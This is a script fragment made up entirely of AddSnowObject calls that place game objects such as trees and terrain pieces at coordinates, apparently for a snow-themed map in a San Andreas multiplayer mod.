AddSnowObject(790, -2299.090, -2267.500, 25.218, 0.000, 0.000, -73.613, 131.6);
AddSnowObject(18475, -2253.080, -2291.000, 25.773, 0.000, 0.000, 0.000, 199.2);
AddSnowObject(790, -2231.810, -2368.020, 35.476, 0.000, 0.000, -143.613, 131.6);
AddSnowObject(18237, -2153.870, -2453.379, 29.843, 0.000, 0.000, 0.000, 134.9);
AddSnowObject(18474, -2183.770, -2422.229, 32.320, 0.000, 0.000, 0.000, 134.8);
AddSnowObject(18480, -2152.149, -2418.669, 29.531, 0.000, 0.000, 51.499, 170.7);
AddSnowObject(18481, -2149.629, -2404.590, 29.539, 0.000, 0.000, 51.499, 165.7);
AddSnowObject(18203, -2149.659, -2362.429, 33.234, 0.000, 0.000, 140.999, 134.8);
AddSnowObject(18477, -2166.639, -2272.050, 29.539, 0.000, 0.000, 51.499, 157.0);
AddSnowObject(18478, -2146.989, -2307.729, 29.531, 0.000, 0.000, 51.499, 170.7);
AddSnowObject(18479, -2110.110, -2314.629, 29.539, 0.000, 0.000, 51.499, 156.0);
AddSnowObject(18200, -2100.219, -2285.500, 33.187, 0.000, 0.000, -128.000, 149.2);
AddSnowObject(790, -2081.959, -2367.000, 34.757, 0.000, 0.000, -143.613, 131.6);
AddSnowObject(790, -2069.929, -2401.050, 34.757, 0.000, 0.000, -67.113, 131.6);
AddSnowObject(790, -2035.729, -2432.659, 34.757, 0.000, 0.000, -143.613, 131.6);
AddSnowObject(790, -2051.280, -2316.879, 34.757, 0.000, 0.000, -53.613, 131.6);
AddSnowObject(18345, -2016.010, -2431.520, 33.875, 0.000, 0.000, 0.000, 248.0);
AddSnowObject(18365, -2001.030, -2388.090, 38.453, 0.000, 0.000, 0.000, 181.4);
AddSnowObject(18324, -2871.550, -1975.630, 35.429, 0.000, 0.000, 0.000, 269.2);
AddSnowObject(18373, -2897.810, -1777.729, 27.609, 0.000, 0.000, -84.393, 225.4);
AddSnowObject(18315, -2872.449, -1765.000, 48.109, 0.000, 0.000, 0.000, 293.7);
AddSnowObject(18372, -2930.239, -1548.010, 10.250, 0.000, 0.000, 89.887, 218.3);
AddSnowObject(18306, -2874.280, -1547.979, 41.125, 0.000, 0.000, 0.000, 286.7);
AddSnowObject(791, -2867.520, -1515.839, 134.304, 0.000, 0.000, -94.999, 162.6);
AddSnowObject(791, -2856.389, -1542.489, 134.539, 0.000, 0.000, -39.999, 162.6);
AddSnowObject(791, -2836.560, -1597.410, 138.983, 0.000, 0.000, -60.000, 162.6);
AddSnowObject(791, -2847.340, -1483.729, 134.421, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -2763.469, -1999.290, 35.703, 0.000, 0.000, -8.000, 162.6);
AddSnowObject(18374, -2833.639, -1942.619, 38.710, 0.000, 0.000, -39.261, 217.8);
AddSnowObject(18276, -2824.260, -1810.349, 137.820, 0.000, 0.000, 0.000, 142.9);
AddSnowObject(791, -2810.199, -1733.859, 139.477, 0.000, 0.000, 55.000, 162.6);
AddSnowObject(791, -2827.600, -1633.770, 140.188, 0.000, 0.000, -60.000, 162.6);
AddSnowObject(791, -2826.550, -1691.020, 136.007, 0.000, 0.000, -29.999, 162.6);
AddSnowObject(791, -2823.919, -1564.270, 139.125, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -2800.020, -1665.939, 139.804, 0.000, 0.000, -39.999, 162.6);
AddSnowObject(791, -2803.510, -1641.829, 139.477, 0.000, 0.000, -5.000, 162.6);
AddSnowObject(791, -2796.060, -1582.770, 139.125, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(18371, -2931.469, -1334.479, 7.531, 0.000, 0.000, -95.667, 203.8);
AddSnowObject(18370, -2905.409, -1145.770, 8.421, 0.000, 0.000, -99.061, 193.8);
AddSnowObject(3330, -2901.389, -1114.920, -2.796, 0.000, 0.000, 171.180, 140.6);
AddSnowObject(18561, -2890.449, -1047.040, 8.570, 0.000, 0.000, 80.939, 232.5);
AddSnowObject(18563, -2889.530, -1042.829, 19.820, 0.000, 0.000, 0.000, 188.3);
AddSnowObject(18300, -2872.840, -1321.280, 42.382, 0.000, 0.000, 0.000, 287.0);
AddSnowObject(18369, -2878.719, -977.539, 8.476, 0.000, 0.000, 80.956, 168.0);
AddSnowObject(3330, -2878.209, -971.984, -2.796, 0.000, 0.000, 171.180, 140.6);
AddSnowObject(18296, -2870.979, -1117.650, 24.632, 0.000, 0.000, 0.000, 247.2);
AddSnowObject(791, -2833.629, -1444.869, 134.828, 0.000, 0.000, -39.999, 162.6);
AddSnowObject(791, -2795.560, -1438.699, 135.054, 0.000, 0.000, 105.000, 162.6);
AddSnowObject(791, -2837.379, -1392.469, 123.414, 0.000, 0.000, -39.999, 162.6);
AddSnowObject(791, -2828.489, -1397.869, 129.391, 0.000, 0.000, -60.000, 162.6);
AddSnowObject(791, -2792.050, -1379.560, 129.445, 0.000, 0.000, -39.999, 162.6);
AddSnowObject(791, -2820.000, -1339.060, 121.991, 0.000, 0.000, -39.999, 162.6);
AddSnowObject(18335, -2643.419, -2197.540, 45.843, 0.000, 0.000, 0.000, 295.3);
AddSnowObject(18280, -2630.850, -2168.810, 68.125, 0.000, 0.000, 0.000, 133.6);
AddSnowObject(18375, -2686.300, -2040.699, 38.523, 0.000, 0.000, -33.251, 196.5);
AddSnowObject(18278, -2678.570, -1980.930, 95.312, 0.000, 0.000, 0.000, 135.1);
AddSnowObject(18325, -2656.679, -1992.949, 80.171, 0.000, 0.000, 0.000, 303.5);
AddSnowObject(18292, -2640.639, -1994.359, 126.555, 0.000, 0.000, 0.000, 134.3);
AddSnowObject(18277, -2753.050, -1914.130, 111.578, 0.000, 0.000, 0.000, 132.9);
AddSnowObject(18316, -2655.280, -1781.010, 265.140, 0.000, 0.000, 0.000, 321.0);
AddSnowObject(18308, -2724.320, -1555.959, 222.891, 0.000, 0.000, 0.000, 250.5);
AddSnowObject(791, -2677.310, -1723.699, 251.593, 0.000, 0.000, 55.000, 162.6);
AddSnowObject(18469, -2700.280, -1345.800, 213.460, 0.000, 0.000, 0.000, 281.0);
AddSnowObject(18293, -2691.179, -939.578, 46.929, 0.000, 0.000, 0.000, 213.3);
AddSnowObject(18217, -2587.629, -1665.800, 351.820, 0.000, 0.000, -0.000, 144.4);
AddSnowObject(18307, -2624.300, -1562.880, 353.453, 0.000, 0.000, 0.000, 274.1);
AddSnowObject(18301, -2583.429, -1343.449, 270.843, 0.000, 0.000, 0.000, 266.7);
AddSnowObject(18297, -2646.350, -1116.930, 111.758, 0.000, 0.000, 0.000, 314.5);
AddSnowObject(791, -2443.300, -2215.389, 18.382, 0.000, 0.000, -29.999, 162.6);
AddSnowObject(18336, -2426.360, -2217.189, 67.054, 0.000, 0.000, 0.000, 284.4);
AddSnowObject(18376, -2563.550, -2204.649, 25.289, 0.000, 0.000, -66.224, 225.3);
AddSnowObject(18281, -2515.489, -2140.770, 55.117, 0.000, 0.000, 0.000, 130.1);
AddSnowObject(18223, -2548.360, -1867.640, 284.882, 0.000, 0.000, 4.999, 149.9);
AddSnowObject(18326, -2444.500, -1991.670, 198.695, 0.000, 0.000, 0.000, 291.1);
AddSnowObject(18327, -2438.439, -1949.050, 310.914, 0.000, 0.000, 0.000, 277.8);
AddSnowObject(18435, -2426.949, -1934.270, 304.468, 0.000, 0.000, 0.000, 143.5);
AddSnowObject(18443, -2567.409, -1725.489, 388.007, 0.000, 0.000, -95.999, 149.7);
AddSnowObject(18222, -2559.320, -1760.609, 363.367, 0.000, 0.000, 0.000, 160.4);
AddSnowObject(791, -2560.050, -939.000, 10.875, 0.000, 0.000, -125.499, 162.6);
AddSnowObject(791, -2542.090, -981.765, 10.875, 0.000, 0.000, -39.999, 162.6);
AddSnowObject(18440, -2516.110, -1755.520, 402.218, 0.000, 0.000, -59.000, 136.8);
AddSnowObject(791, -2508.350, -940.453, 8.593, 0.000, 0.000, -39.999, 162.6);
AddSnowObject(18294, -2492.429, -943.601, 54.492, 0.000, 0.000, 0.000, 261.4);
AddSnowObject(18433, -2410.850, -1774.680, 431.507, 0.000, 0.000, -51.000, 138.4);
AddSnowObject(18432, -2301.290, -1776.709, 452.312, 0.000, 0.000, 84.000, 150.9);
AddSnowObject(18434, -2450.729, -1750.979, 423.546, 0.000, 0.000, -59.000, 135.7);
AddSnowObject(18317, -2431.679, -1759.660, 403.867, 0.000, 0.000, 0.000, 313.3);
AddSnowObject(18445, -2441.360, -1463.869, 388.367, 0.000, 0.000, -151.000, 157.7);
AddSnowObject(18309, -2426.939, -1530.449, 440.968, 0.000, 0.000, 0.000, 290.7);
AddSnowObject(18302, -2426.500, -1347.310, 300.804, 0.000, 0.000, 0.000, 301.5);
AddSnowObject(791, -2458.439, -1021.900, 90.179, 0.000, 0.000, -39.999, 162.6);
AddSnowObject(18298, -2421.159, -1134.089, 168.781, 0.000, 0.000, 0.000, 275.9);
AddSnowObject(791, -2361.659, -1047.229, 84.804, 0.000, 0.000, -39.999, 162.6);
AddSnowObject(18295, -2291.780, -993.406, 63.578, 0.000, 0.000, 0.000, 251.0);
AddSnowObject(791, -1325.979, -2245.379, 25.531, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -1921.780, -2233.550, 64.062, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(18339, -1769.430, -2236.709, 86.546, 0.000, 0.000, 0.000, 277.6);
AddSnowObject(791, -1732.650, -2232.979, 45.367, 0.000, 0.000, 65.000, 162.6);
AddSnowObject(18378, -2217.760, -2191.020, 38.406, 0.000, 0.000, 30.146, 232.3);
AddSnowObject(18337, -2217.649, -2172.449, 64.984, 0.000, 0.000, 0.000, 261.1);
AddSnowObject(790, -2109.860, -2221.530, 34.757, 0.000, 0.000, -143.613, 131.6);
AddSnowObject(18338, -1999.170, -2212.909, 69.968, 0.000, 0.000, 0.000, 269.2);
AddSnowObject(791, -1833.880, -2183.860, 74.929, 0.000, 0.000, 135.000, 162.6);
AddSnowObject(791, -1728.130, -2182.330, 44.046, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -1585.400, -2211.639, 8.132, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -1622.839, -2211.590, 21.875, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -1457.260, -2213.709, 6.968, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -1456.479, -2181.080, 0.492, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -1416.880, -2203.830, 15.578, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -1246.660, -2168.629, 23.195, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(18328, -2237.000, -1951.520, 297.562, 0.000, 0.000, 0.000, 278.4);
AddSnowObject(18329, -2233.199, -1980.780, 153.679, 0.000, 0.000, 0.000, 301.8);
AddSnowObject(791, -2207.899, -1961.469, 235.938, 0.000, 0.000, -39.999, 162.6);
AddSnowObject(720, -2204.770, -1907.949, 235.257, 0.000, 0.000, 0.000, 144.1);
AddSnowObject(720, -2203.219, -1920.270, 235.257, 0.000, 0.000, -149.500, 144.1);
AddSnowObject(18268, -2189.989, -1909.640, 261.531, 0.000, 0.000, 0.000, 144.0);
AddSnowObject(18379, -2076.169, -2004.829, 57.679, 0.000, 0.000, -123.631, 208.2);
AddSnowObject(791, -2014.199, -2007.589, 77.890, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(18330, -2010.979, -1981.170, 103.241, 0.000, 0.000, 0.000, 286.7);
AddSnowObject(791, -1931.630, -2140.760, 69.187, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -1979.189, -2117.689, 69.898, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -1987.030, -1926.410, 68.804, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -1884.239, -2018.290, 69.804, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(18331, -1801.040, -2007.520, 84.281, 0.000, 0.000, 0.000, 273.1);
AddSnowObject(791, -1796.229, -1970.099, 86.195, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -1753.550, -2034.729, 54.695, 0.000, 0.000, 135.000, 162.6);
AddSnowObject(791, -1737.339, -1951.770, 93.093, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -1640.479, -2093.669, 32.570, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -1578.949, -2071.300, 37.265, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -1677.459, -2055.560, 40.476, 0.000, 0.000, 135.000, 162.6);
AddSnowObject(18332, -1570.859, -2023.479, 60.625, 0.000, 0.000, 0.000, 284.8);
AddSnowObject(791, -1493.349, -2000.979, 28.492, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -1366.319, -2109.199, 21.953, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -1389.530, -1917.520, 19.117, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -1356.239, -2119.550, 25.046, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(18334, -1218.949, -2095.300, 36.585, 0.000, 0.000, 0.000, 199.5);
AddSnowObject(18333, -1358.729, -2064.699, 38.757, 0.000, 0.000, 0.000, 277.4);
AddSnowObject(791, -2258.989, -1072.199, 13.562, 0.000, 0.000, -39.999, 162.6);
AddSnowObject(18310, -2249.360, -1572.869, 418.765, 0.000, 0.000, 0.000, 239.3);
AddSnowObject(18319, -2239.639, -1762.729, 381.953, 0.000, 0.000, 0.000, 287.5);
AddSnowObject(791, -2231.620, -1113.810, 13.562, 0.000, 0.000, -39.999, 162.6);
AddSnowObject(18303, -2221.840, -1367.800, 300.460, 0.000, 0.000, 0.000, 286.4);
AddSnowObject(18304, -2182.229, -1358.709, 135.242, 0.000, 0.000, 0.000, 284.8);
AddSnowObject(791, -2186.429, -1169.209, 13.867, 0.000, 0.000, -39.999, 162.6);
AddSnowObject(18299, -2186.750, -1147.729, 108.155, 0.000, 0.000, 0.000, 295.0);
AddSnowObject(18318, -2181.469, -1774.810, 217.397, 0.000, 0.000, 0.000, 287.0);
AddSnowObject(18366, -2146.550, -1803.800, 240.858, 0.000, 0.000, 0.000, 218.0);
AddSnowObject(18551, -2146.550, -1803.800, 240.858, 0.000, 0.000, 0.000, 216.2);
AddSnowObject(18311, -2145.199, -1576.719, 259.648, 0.000, 0.000, 0.000, 267.5);
AddSnowObject(791, -2131.310, -1598.729, 214.733, 0.000, 0.000, -39.999, 162.6);
AddSnowObject(791, -2124.979, -1284.900, 76.812, 0.000, 0.000, -39.999, 162.6);
AddSnowObject(720, -2105.659, -1741.050, 188.063, 0.000, 0.000, 44.999, 144.1);
AddSnowObject(720, -2095.860, -1748.660, 188.054, 0.000, 0.000, -104.500, 144.1);
AddSnowObject(18270, -2089.590, -1700.219, 202.156, 0.000, 0.000, 0.000, 151.1);
AddSnowObject(791, -2044.290, -1642.050, 173.733, 0.000, 0.000, -39.999, 162.6);
AddSnowObject(791, -2119.370, -1493.239, 202.757, 0.000, 0.000, -39.999, 162.6);
AddSnowObject(18272, -2064.479, -1620.489, 184.531, 0.000, 0.000, 0.000, 139.9);
AddSnowObject(791, -2056.189, -1532.069, 119.351, 0.000, 0.000, -39.999, 162.6);
AddSnowObject(791, -1981.670, -1595.770, 131.531, 0.000, 0.000, -39.999, 162.6);
AddSnowObject(791, -1993.280, -1529.119, 124.344, 0.000, 0.000, -39.999, 162.6);
AddSnowObject(18273, -1985.380, -1556.680, 156.852, 0.000, 0.000, 0.000, 163.4);
AddSnowObject(18312, -1985.510, -1562.510, 84.468, 0.000, 0.000, 0.000, 293.6);
AddSnowObject(18305, -1980.380, -1330.489, 74.851, 0.000, 0.000, 0.000, 256.0);
AddSnowObject(18320, -1970.709, -1785.979, 107.984, 0.000, 0.000, 0.000, 297.4);
AddSnowObject(18380, -1939.550, -1811.609, 33.867, 0.000, 0.000, -125.173, 219.7);
AddSnowObject(18255, -1939.910, -1731.479, 24.945, 0.000, 0.000, 0.000, 131.4);
AddSnowObject(791, -1942.800, -1576.520, 131.742, 0.000, 0.000, -39.999, 162.6);
AddSnowObject(791, -1914.449, -1893.900, 81.921, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(18251, -1907.619, -1666.680, 29.851, 0.000, 0.000, 0.000, 132.8);
AddSnowObject(791, -1847.589, -1878.000, 81.664, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(18247, -1874.339, -1680.949, 25.437, 0.000, 0.000, -140.000, 141.5);
AddSnowObject(18245, -1849.520, -1701.160, 32.953, 0.000, 0.000, -55.000, 143.0);
AddSnowObject(18381, -1799.839, -1709.910, 29.273, 0.000, 0.000, -148.751, 170.3);
AddSnowObject(18364, -1835.930, -1647.680, 26.500, 0.000, 0.000, 0.000, 286.8);
AddSnowObject(18254, -1813.800, -1615.560, 29.851, 0.000, 0.000, -89.999, 133.5);
AddSnowObject(18313, -1776.780, -1563.010, 9.703, 0.000, 0.000, 0.000, 240.7);
AddSnowObject(791, -1479.329, -1880.780, 40.156, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -1750.869, -1866.829, 78.773, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -1593.099, -1856.569, 72.117, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(18323, -1369.770, -1848.339, 20.460, 0.000, 0.000, 0.000, 223.7);
AddSnowObject(18321, -1744.540, -1786.979, 54.585, 0.000, 0.000, 0.000, 277.1);
AddSnowObject(18322, -1520.469, -1835.209, 48.093, 0.000, 0.000, 0.000, 274.5);
AddSnowObject(3331, -1697.790, -1659.459, 41.875, 0.000, 0.000, 112.750, 141.8);
AddSnowObject(18449, -1700.979, -1651.839, 34.914, 0.000, 0.000, -157.249, 140.8);
AddSnowObject(3330, -1664.319, -1636.609, 20.640, 0.000, 0.000, 113.181, 140.6);
AddSnowObject(18314, -1552.969, -1683.270, 31.242, 0.000, 0.000, 0.000, 245.5);
AddSnowObject(18450, -1627.209, -1620.910, 34.914, 0.000, 0.000, 22.750, 140.8);
AddSnowObject(3331, -1623.739, -1628.410, 41.875, 0.000, 0.000, 112.750, 141.8);
AddSnowObject(790, -1699.900, -981.085, 76.015, 0.000, 0.000, 41.386, 131.6);
AddSnowObject(791, -1716.510, -967.718, 68.664, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(790, -1730.640, -950.328, 76.406, 0.000, 0.000, 41.386, 131.6);
AddSnowObject(17079, -1751.829, -941.914, 66.570, 0.000, 0.000, 0.000, 274.7);
AddSnowObject(791, -1721.520, -928.601, 68.195, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(790, -1706.930, -928.304, 70.750, 0.000, 0.000, 41.386, 131.6);
AddSnowObject(17091, -1189.510, -935.945, 124.148, 0.000, 0.000, 0.000, 324.8);
AddSnowObject(17226, -1750.630, -922.742, 74.960, 0.000, 0.000, 0.000, 183.4);
AddSnowObject(17230, -1631.949, -911.062, 97.390, 0.000, 0.000, 0.000, 193.4);
AddSnowObject(790, -1740.020, -899.148, 79.578, 0.000, 0.000, 41.386, 131.6);
AddSnowObject(790, -1712.859, -880.070, 73.320, 0.000, 0.000, 41.386, 131.6);
AddSnowObject(791, -1720.790, -870.007, 69.804, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(790, -1101.040, -871.132, 132.593, 0.000, 0.000, -163.613, 131.6);
AddSnowObject(17082, -1521.410, -853.179, 88.726, 0.000, 0.000, 0.000, 357.8);
AddSnowObject(17210, -1811.670, -835.218, 36.710, 0.000, 0.000, 0.000, 177.2);
AddSnowObject(17228, -1688.130, -819.203, 83.632, 0.000, 0.000, 0.000, 172.2);
AddSnowObject(790, -1164.790, -845.859, 104.523, 0.000, 0.000, -163.613, 131.6);
AddSnowObject(790, -1177.000, -847.718, 104.523, 0.000, 0.000, -68.613, 131.6);
AddSnowObject(17300, -1133.380, -867.710, 78.484, 0.000, 0.000, 39.999, 226.8);
AddSnowObject(17204, -1362.810, -811.437, 73.656, 0.000, 0.000, 0.000, 211.2);
AddSnowObject(17077, -1556.050, -802.250, 56.460, 0.000, 0.000, 0.000, 189.9);
AddSnowObject(17078, -1696.839, -748.007, 39.453, 0.000, 0.000, 0.000, 280.8);
AddSnowObject(17308, -1702.660, -691.593, 29.500, 0.000, 0.000, -0.190, 218.0);
AddSnowObject(17208, -1813.859, -677.125, 21.601, 0.000, 0.000, 0.000, 181.7);
AddSnowObject(17202, -1208.339, -735.875, 57.210, 0.000, 0.000, 0.000, 205.6);
AddSnowObject(17092, -1096.530, -683.312, 43.382, 0.000, 0.000, 0.000, 380.4);
AddSnowObject(17200, -1102.390, -517.609, 32.710, 0.000, 0.000, 0.000, 215.8);
AddSnowObject(17014, -1041.660, -728.335, 44.953, 0.000, 0.000, 0.000, 183.4);
AddSnowObject(17024, -1026.750, -705.171, 82.406, 0.000, 0.000, 0.000, 152.4);
AddSnowObject(17001, -1083.479, -687.945, 31.023, 0.000, 0.000, 179.999, 145.1);
AddSnowObject(17022, -1004.299, -704.148, 63.500, 0.000, 0.000, 0.000, 134.4);
AddSnowObject(17023, -1014.359, -703.882, 83.210, 0.000, 0.000, 0.000, 152.4);
AddSnowObject(17017, -1056.050, -632.414, 82.789, 0.000, 0.000, 0.000, 152.4);
AddSnowObject(17015, -1055.109, -603.570, 61.820, 0.000, 0.000, 0.000, 134.4);
AddSnowObject(17016, -1055.530, -617.609, 82.609, 0.000, 0.000, 0.000, 152.4);
AddSnowObject(17093, -991.023, -463.242, 22.851, 0.000, 0.000, 0.000, 300.3);
AddSnowObject(17198, -975.882, -365.445, 34.992, 0.000, 0.000, 0.000, 202.6);
AddSnowObject(17003, -967.992, -341.289, -27.289, 0.000, 0.000, 13.499, 197.5);
AddSnowObject(790, -959.179, -972.937, 133.156, 0.000, 0.000, -68.613, 131.6);
AddSnowObject(791, -962.992, -941.609, 126.430, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(17196, -917.031, -452.062, 27.023, 0.000, 0.000, 0.000, 194.1);
AddSnowObject(791, -875.867, -662.445, 106.085, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(17069, -853.414, -631.367, 55.281, 0.000, 0.000, -30.943, 183.9);
AddSnowObject(17096, -855.406, -858.335, 121.188, 0.000, 0.000, 0.000, 376.8);
AddSnowObject(791, -848.757, -832.640, 141.921, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(790, -846.953, -971.343, 109.991, 0.000, 0.000, -68.613, 131.6);
AddSnowObject(17004, -1103.329, -2867.370, 32.570, 0.000, 0.000, 0.000, 186.1);
AddSnowObject(17146, -1088.520, -2858.139, 66.625, 0.000, 0.000, 0.000, 204.9);
AddSnowObject(17088, -1071.099, -2755.419, 50.382, 0.000, 0.000, 0.000, 334.8);
AddSnowObject(791, -1098.319, -2560.479, 68.289, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(17170, -1113.670, -2564.979, 71.187, 0.000, 0.000, 0.000, 214.7);
AddSnowObject(17137, -1078.589, -2487.310, 66.492, 0.000, 0.000, 0.000, 310.0);
AddSnowObject(17168, -1171.260, -2368.090, 43.007, 0.000, 0.000, 0.000, 191.1);
AddSnowObject(791, -1096.670, -2333.439, 40.992, 0.000, -19.999, 0.000, 162.6);
AddSnowObject(791, -1042.540, -2644.350, 81.117, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -981.742, -2423.729, 70.507, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -1041.699, -2344.919, 52.156, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -999.523, -2341.159, 62.796, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -941.664, -2398.840, 60.437, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -937.250, -2807.370, 83.679, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(17172, -920.914, -2576.760, 86.867, 0.000, 0.000, 0.000, 215.4);
AddSnowObject(17136, -1087.170, -2301.449, 40.710, 0.000, 0.000, 0.000, 292.1);
AddSnowObject(17031, -991.750, -2235.340, 54.757, 0.000, 0.000, 0.000, 138.4);
AddSnowObject(17166, -1120.050, -2204.340, 34.179, 0.000, 0.000, 0.000, 201.3);
AddSnowObject(791, -985.187, -2191.250, 38.359, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(723, -960.960, -2192.560, 44.500, 0.000, 0.000, 0.000, 154.1);
AddSnowObject(725, -931.140, -2238.379, 39.632, 0.000, 0.000, 0.000, 135.4);
AddSnowObject(17032, -1019.109, -2087.979, 61.578, 0.000, 0.000, 0.000, 141.9);
AddSnowObject(17135, -949.007, -2094.110, 53.507, 0.000, 0.000, 0.000, 394.8);
AddSnowObject(17113, -1069.290, -2020.000, 49.828, 0.000, 0.000, 0.000, 254.9);
AddSnowObject(791, -1071.089, -2037.619, 40.484, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(17164, -1022.989, -2014.479, 63.085, 0.000, 0.000, 0.000, 226.8);
AddSnowObject(17299, -972.976, -1983.800, 61.578, 0.000, 0.000, 0.000, 141.9);
AddSnowObject(17148, -884.468, -2838.949, 64.734, 0.000, 0.000, 0.000, 217.4);
AddSnowObject(791, -895.687, -2639.129, 88.117, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -905.937, -2426.010, 60.437, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -914.390, -2458.959, 74.750, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -821.335, -2711.270, 84.515, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(17138, -819.726, -2316.629, 46.210, 0.000, 0.000, 0.000, 357.8);
AddSnowObject(791, -814.937, -2371.840, 49.226, 12.034, 4.405, -3.125, 162.6);
AddSnowObject(17114, -811.234, -2799.080, 62.546, 0.000, 0.000, 0.000, 310.2);
AddSnowObject(17139, -810.867, -2590.520, 80.960, 0.000, 0.000, 0.000, 313.7);
AddSnowObject(720, -910.859, -2280.909, 44.664, 0.000, 0.000, 0.000, 144.1);
AddSnowObject(721, -916.437, -2309.439, 50.640, 0.000, 0.000, 0.000, 175.2);
AddSnowObject(721, -900.476, -2220.439, 32.093, 0.000, 0.000, 0.000, 175.2);
AddSnowObject(723, -884.125, -2243.409, 41.726, 0.000, 0.000, 0.000, 154.1);
AddSnowObject(719, -866.531, -2216.159, 26.703, 0.000, 0.000, 0.000, 148.5);
AddSnowObject(791, -853.656, -2310.959, 22.093, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(722, -832.929, -2207.020, 20.578, 0.000, 0.000, 0.000, 141.8);
AddSnowObject(724, -810.578, -2213.550, 19.460, 0.000, 0.000, 0.000, 153.5);
AddSnowObject(722, -827.992, -2001.939, 7.945, 0.000, 0.000, 0.000, 141.8);
AddSnowObject(722, -817.726, -2025.530, 17.726, 0.000, 0.000, 0.000, 141.8);
AddSnowObject(791, -767.890, -2711.629, 79.765, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -785.195, -2651.820, 79.476, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -804.226, -2603.729, 76.679, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -745.929, -2613.989, 69.773, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -762.015, -2483.189, 72.273, 10.094, 9.980, 1.317, 162.6);
AddSnowObject(17174, -751.335, -2406.489, 56.937, 0.000, 0.000, 0.000, 218.2);
AddSnowObject(721, -765.562, -2300.510, 34.703, 0.000, 0.000, 0.000, 175.2);
AddSnowObject(791, -744.820, -2255.979, 24.312, 0.000, 0.000, 74.999, 162.6);
AddSnowObject(724, -768.257, -2151.439, 19.460, 0.000, 0.000, 0.000, 153.5);
AddSnowObject(721, -794.898, -2066.239, 13.343, 0.000, 0.000, 0.000, 175.2);
AddSnowObject(791, -721.140, -2705.590, 85.687, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -716.578, -2153.820, 18.335, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(721, -737.484, -2112.310, 20.367, 0.000, 0.000, 0.000, 175.2);
AddSnowObject(791, -692.125, -2624.689, 73.226, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(791, -698.906, -2151.040, 20.046, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(721, -688.117, -2011.130, 15.718, 0.000, 0.000, 0.000, 175.2);
AddSnowObject(722, -688.437, -2041.849, 12.296, 0.000, 0.000, 0.000, 141.8);
AddSnowObject(722, -686.281, -1954.319, 14.953, 0.000, 0.000, 0.000, 141.8);
AddSnowObject(791, -1231.530, -1806.339, 49.710, 0.000, 0.000, -19.999, 162.6);
AddSnowObject(17086, -1226.599, -1846.250, 41.437, 0.000, 0.000, 0.000, 324.9);
AddSnowObject(791, -1277.000, -1750.270, 44.148, 0.000, 0.000, -19.999, 162.6);
AddSnowObject(17269, -1188.099, -1838.660, 62.867, 0.000, 0.000, 0.000, 203.1);
AddSnowObject(17271, -1309.760, -1697.959, 44.734, 0.000, 0.000, 0.000, 189.8);
AddSnowObject(17267, -994.242, -1904.979, 78.875, 0.000, 0.000, 0.000, 212.4);
AddSnowObject(17109, -951.593, -1814.390, 84.773, 0.000, 0.000, 0.000, 270.2);
AddSnowObject(17334, -841.000, -1832.800, 89.281, 0.000, 0.000, 0.000, 204.8);
AddSnowObject(791, -844.789, -1739.569, 74.687, 0.000, 0.000, 0.000, 162.6);
AddSnowObject(17107, -835.945, -1691.119, 94.804, 0.000, 0.000, 0.000, 292.8);
AddSnowObject(721, -790.929, -1900.449, 3.367, 0.000, 0.000, 0.000, 175.2);
AddSnowObject(17027, -779.656, -1845.099, 27.179, 0.000, 0.000, 0.000, 140.5);
AddSnowObject(722, -737.968, -1874.260, 6.171, -29.147, -0.000, 13.064, 141.8);
